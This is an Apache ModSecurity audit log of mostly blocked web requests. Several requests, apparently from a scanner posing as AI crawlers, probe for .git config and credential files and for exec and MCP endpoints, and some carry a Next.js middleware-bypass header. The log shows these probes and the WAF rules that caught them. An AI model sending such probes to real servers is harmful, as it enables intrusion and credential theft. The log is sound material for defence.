Stopwatch2: 1789287742649221 63490; combined=5115, p1=237, p2=4616, p3=0, p4=0, p5=262, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d53eb66-Z--
--0f827d49-A--
[13/Sep/2026:11:22:23.031480 +0300] aqZdPmM7dE9KgIIOpQhx5gAAAM0 34.80.249.255 60592 127.0.0.1 7081
--0f827d49-B--
POST /api/fs/exec HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--0f827d49-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0f827d49-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742952786 78746 (- - -)
Stopwatch2: 1789287742952786 78746; combined=5220, p1=254, p2=4637, p3=0, p4=0, p5=328, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0f827d49-Z--
--f389c049-A--
[13/Sep/2026:11:22:23.340593 +0300] aqZdP2M7dE9KgIIOpQhx5wAAAMg 34.80.249.255 60596 127.0.0.1 7081
--f389c049-B--
DELETE /api/inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--f389c049-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f389c049-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287743268120 72588 (- - -)
Stopwatch2: 1789287743268120 72588; combined=4513, p1=289, p2=3927, p3=0, p4=0, p5=297, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f389c049-Z--
--a658b759-A--
[13/Sep/2026:11:22:23.651842 +0300] aqZdP0wu1RSkptiiNIX28AAAAJY 34.80.249.255 60610 127.0.0.1 7081
--a658b759-B--
DELETE /inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--a658b759-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a658b759-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287743583486 68415 (- - -)
Stopwatch2: 1789287743583486 68415; combined=5648, p1=1092, p2=4118, p3=0, p4=0, p5=438, sr=191, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a658b759-Z--
--5d026920-A--
[13/Sep/2026:11:22:23.981199 +0300] aqZdP0wu1RSkptiiNIX28QAAAIU 34.80.249.255 60612 127.0.0.1 7081
--5d026920-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--5d026920-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5d026920-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287743907413 73842 (- - -)
Stopwatch2: 1789287743907413 73842; combined=12775, p1=362, p2=12139, p3=0, p4=0, p5=273, sr=205, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d026920-Z--
--6b259a51-A--
[13/Sep/2026:11:22:24.311989 +0300] aqZdQEwu1RSkptiiNIX28gAAAJE 34.80.249.255 60622 127.0.0.1 7081
--6b259a51-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--6b259a51-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6b259a51-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287744244456 67607 (- - -)
Stopwatch2: 1789287744244456 67607; combined=5312, p1=317, p2=4592, p3=0, p4=0, p5=403, sr=158, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6b259a51-Z--
--900f4f35-A--
[13/Sep/2026:11:22:24.672211 +0300] aqZdQGM7dE9KgIIOpQhx6AAAAMY 34.80.249.255 60630 127.0.0.1 7081
--900f4f35-B--
POST /mcp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--900f4f35-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--900f4f35-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287744580839 91422 (- - -)
Stopwatch2: 1789287744580839 91422; combined=6741, p1=367, p2=6079, p3=0, p4=0, p5=295, sr=152, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--900f4f35-Z--
--35c0c71c-A--
[13/Sep/2026:11:59:35.009342 +0300] aqZl9kwu1RSkptiiNIX3qQAAAIc 185.117.225.101 52988 127.0.0.1 7081
--35c0c71c-B--
GET /robots.txt HTTP/1.1
Host: ajutam.ro
X-Real-IP: 185.117.225.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
--35c0c71c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link:
; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8
--35c0c71c-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/robots.txt"] [unique_id "aqZl9kwu1RSkptiiNIX3qQAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789289974370974 638471 (- - -)
Stopwatch2: 1789289974370974 638471; combined=4866, p1=313, p2=4482, p3=0, p4=0, p5=71, sr=158, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35c0c71c-Z--
--3c20255b-A--
[13/Sep/2026:11:59:45.141117 +0300] aqZmAGM7dE9KgIIOpQhzUQAAAMQ 185.117.225.101 57588 127.0.0.1 7081
--3c20255b-B--
GET /robots.txt HTTP/1.1
Host: ajutam.ro
X-Real-IP: 185.117.225.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
--3c20255b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link:
; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8
--3c20255b-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/robots.txt"] [unique_id "aqZmAGM7dE9KgIIOpQhzUQAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789289984809086 332104 (- - -)
Stopwatch2: 1789289984809086 332104; combined=5019, p1=317, p2=4631, p3=0, p4=0, p5=70, sr=146, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c20255b-Z--
--97ada014-A--
[13/Sep/2026:11:59:53.854555 +0300] aqZmCWM7dE9KgIIOpQhzZQAAAMo 185.117.225.101 56052 127.0.0.1 7081
--97ada014-B--
GET /robots.txt HTTP/1.1
Host: ajutam.ro
X-Real-IP: 185.117.225.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
--97ada014-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link:
; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8
--97ada014-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/robots.txt"] [unique_id "aqZmCWM7dE9KgIIOpQhzZQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789289993540659 313996 (- - -)
Stopwatch2: 1789289993540659 313996; combined=7089, p1=461, p2=6565, p3=0, p4=0, p5=63, sr=231, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--97ada014-Z--
--bbd66a47-A--
[13/Sep/2026:12:04:38.128976 +0300] aqZnJWM7dE9KgIIOpQhzqgAAAMI 23.82.81.87 50120 127.0.0.1 7081
--bbd66a47-B--
POST /contact HTTP/1.1
Host: ihelp.ro
X-Real-IP: 23.82.81.87
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 508
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Origin: https://ihelp.ro
Referer: https://ihelp.ro/contact
Sec-Fetch-Dest: document
Sec-Fetch-Mode: cors
Cookie: csrfToken=eAz0dNjiLG43DtLWLtvs32Q4M2YxYzdkZDJmYTY4YzI0ZWJlOWRlNWY1ZDFlMGJlYTdhYWNhN2U%3D
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--bbd66a47-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-DEBUGKIT-ID: 1739193f-0f68-4804-8fcb-74d4ef70b79f
Set-Cookie: PHPSESSID=mle7o84gck5t4jdpjfsusd01dh; path=/; secure; HttpOnly; SameSite=Lax
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bbd66a47-H--
Message: Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "102"] [id "77141095"] [msg "IM360 WAF: Block spam in PrestaShop||T:APACHE||MVN:TX:rbl_ip||MV:12-04.23.82.81.87||"] [severity "CRITICAL"] [tag "other_apps"]
Message: Matched phrase "/contact" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "182"] [id "77142192"] [msg "IM360 WAF: Track spam attempts||T:APACHE||MVN:REQUEST_FILENAME||MV:/contact||"] [severity "NOTICE"] [tag "other_apps"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290277968657 160446 (- - -)
Stopwatch2: 1789290277968657 160446; combined=65197, p1=335, p2=64786, p3=0, p4=0, p5=76, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--bbd66a47-Z--
--26215319-A--
[13/Sep/2026:12:09:11.411560 +0300] aqZoN2M7dE9KgIIOpQhzzgAAAM8 34.73.246.242 36978 127.0.0.1 7081
--26215319-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--26215319-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--26215319-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZoN2M7dE9KgIIOpQhzzgAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZoN2M7dE9KgIIOpQhzzgAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789290551318895 92799 (- - -)
Stopwatch2: 1789290551318895 92799; combined=90721, p1=1529, p2=88835, p3=0, p4=0, p5=356, sr=1310, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26215319-Z--
--47e10a33-A--
[13/Sep/2026:12:09:11.757439 +0300] aqZoN2M7dE9KgIIOpQhz1QAAAMs 34.73.246.242 37040 127.0.0.1 7081
--47e10a33-B--
GET /.gitconfig HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--47e10a33-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--47e10a33-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.gitconfig"] [unique_id "aqZoN2M7dE9KgIIOpQhz1QAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.gitconfig"] [unique_id "aqZoN2M7dE9KgIIOpQhz1QAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789290551690050 67450 (- - -)
Stopwatch2: 1789290551690050 67450; combined=66151, p1=214, p2=65558, p3=0, p4=0, p5=378, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--47e10a33-Z--
--01565b09-A--
[13/Sep/2026:12:09:11.813413 +0300] aqZoN2M7dE9KgIIOpQhz1gAAANg 34.73.246.242 37030 127.0.0.1 7081
--01565b09-B--
GET /.git-credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--01565b09-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--01565b09-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZoN2M7dE9KgIIOpQhz1gAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZoN2M7dE9KgIIOpQhz1gAAANg"]
Action: Intercepted (phase 2)
Stopwatch: 1789290551741007 72458 (- - -)
Stopwatch2: 1789290551741007 72458; combined=71172, p1=202, p2=70698, p3=0, p4=0, p5=271, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--01565b09-Z--
--35e1b456-A--
[13/Sep/2026:12:09:11.871165 +0300] aqZoN2M7dE9KgIIOpQhzzAAAAMo 34.73.246.242 36930 127.0.0.1 7081
--35e1b456-B--
GET /.git/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--35e1b456-F--
